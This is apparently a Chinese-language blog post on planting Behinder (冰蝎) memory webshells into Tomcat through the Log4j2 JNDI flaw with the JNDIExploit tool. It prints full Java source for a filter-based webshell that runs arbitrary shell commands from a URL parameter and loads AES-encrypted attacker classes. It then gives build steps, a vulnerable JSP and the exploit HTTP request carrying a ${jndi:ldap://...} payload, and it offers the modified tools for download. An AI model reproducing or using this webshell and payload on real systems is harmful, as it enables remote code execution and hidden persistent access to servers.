使用冰蝎客户端去连接JNDIExploit注入的冰蝎马,具体有两种办法,大致记录一下。
初次接触JNDIExploit这个工具,还是在log4j2漏洞爆发的时候,后面看到了一个可以注入冰蝎马的选项,众所周知,需要二次修改冰蝎客户端,当时怎么看都不是很明白怎么去改客户端,直到后面看到了abc123师傅的文章,才勉强改完冰蝎客户端,然后连接上JNDIExploit注入的冰蝎马;后面发现,其实不需要二开冰蝎客户端,修改一下JNDIExploit工具的源码就行。
通过两种办法去连接JNDIExploit注入的冰蝎马
直接去反编译冰蝎的源码,修改这两个地方:
但是会发现文件管理等功能用不了,将PageContext置为null即可
顺带一提,这里有个虚拟终端的界面,如上修改也不行,原因在于runCmd函数调用了page
page.getResponse().setCharacterEncoding("UTF-8");
Response.setCharacterEncoding("UTF-8");
在注入内存马以后:
直接可以用修改后的冰蝎链接:
详细细节可以参考一下abc123师傅的文章,这里仅仅提一下上述可能会被坑的细节
在冰蝎3.0 bata7之后不再依赖pageContext对象,只需给在equal函数中传递的object对象中,有request/response/session对象即可,所以此时我们可以把pageContext对象换成一个Map,手动添加这三个对象即可
这里着重提一下修改JNDIExploit工具的方法
那么看了第一种方法,肯定会有人说,我不会修改冰蝎客户端,那太复杂了,还能不能通过jndi注入我能连接的冰蝎内存马?那肯定可以的,直接去修改JNDIExploit里面的冰蝎内存马
找到/src/main/java/com/feihong/ldap/template/TomcatMemshellTemplate1.java
,修改codeClass
参数,这里放出笔者的冰蝎filter内存马,如下:
package com.feihong.ldap.template;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
//import sun.misc.BASE64Decoder;
public class DynamicFilterTemplate implements Filter {
private Class myClassLoaderClazz;
private String basicCmdShellPwd = "pass";
private String behinderShellHeader = "X-Options-Ai";
private String behinderShellPwd = "e45e329feb5d925b";
public DynamicFilterTemplate() throws Exception {
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
try {
// 获取request和response对象
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse)servletResponse;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request",request);
pageContext.put("response",response);
pageContext.put("session",session);
if ( ((HttpServletRequest) servletRequest).getRequestURL().toString().contains("onlysecurity1") && servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")) {
String k = servletRequest.getParameter(this.basicCmdShellPwd);
if (k != null && !k.isEmpty()) {
String[] cmds;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", k};
} else {
cmds = new String[]{"cmd", "/C", k};
}
String result = (new Scanner(Runtime.getRuntime().exec(cmds).getInputStream())).useDelimiter("\\A").next();
servletResponse.getWriter().println(result);
return; }
} else if (request.getMethod().equals("POST") && request.getHeader(behinderShellHeader).equals("")) {
String k = "e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(base64Decode(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte,0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}catch (Exception e){
e.printStackTrace();
}
filterChain.doFilter(servletRequest, servletResponse);
}
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
} }
return value;
}
public void destroy() {
}
}
使用javac编译成class
javac DynamicFilterTemplate.java
遇到这种情况就补依赖就好了
找到相应的jar包,然后编译的时候再后面加上-cp xxx.jar
命令即可
使用poc2jar将class文件编码为base64
取出base64编码,替换JNDIExploit工具里面的codeClass
参数,然后对JNDIExploit工具进行编译,获得jar包
使用java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 127.0.0.1
开启JNDIExploit工具
pom.xml
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency><dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
存在漏洞的jsp如下 testlog4j.jsp
<%@ page import="org.apache.logging.log4j.Logger" %>
<%@ page import="org.apache.logging.log4j.LogManager" %>
<%--
Created by IntelliJ IDEA. User: f0ng Date: 2023/2/23 Time: 下午1:15 To change this template use File | Settings | File Templates.--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Logger logger = LogManager.getLogger(String.class);
logger.error(request.getParameter("vuln"));
%>
漏洞利用数据包如下:
GET /testlog4j.jsp?vuln=%24%7bjndi%3aldap%3a%2f%2f127.0.0.1:1389/TomcatBypass/TomcatMemshell1%7d HTTP/1.1
Host: localhost:8081
cmd: whoami
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: JSESSIONID=667EC428868ABB394F602DF46E198508
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
发送数据包
测试一下注入冰蝎马的基础功能: http://localhost:8081/onlysecurity?type=basic&pass=whoami
再去测试一下冰蝎马功能:
请求配置如下
命令执行模块正常
文件管理模块正常
完成!
https://mp.weixin.qq.com/s/BiD26MMlkjrwRWRQKS06Hg 【改造冰蝎客户端适配JNDIExploit的内存马】
https://mp.weixin.qq.com/s/n1wrjep4FVtBkOxLouAYfQ 【冰蝎改造之适配基于tomcat Filter的无文件webshell】
https://github.com/WhiteHSBG/JNDIExploit 【JNDIExploit工具】
https://xz.aliyun.com/t/10696 【利用shiro反序列化注入冰蝎内存马】
关注本公众号回复【20220305】可以获取修改后的冰蝎3(冰蝎3.0 bata11)以及修改后的JNDIExploit(1.4)工具,仅供学习交流!这里笔者还是建议自己动手实践、编译。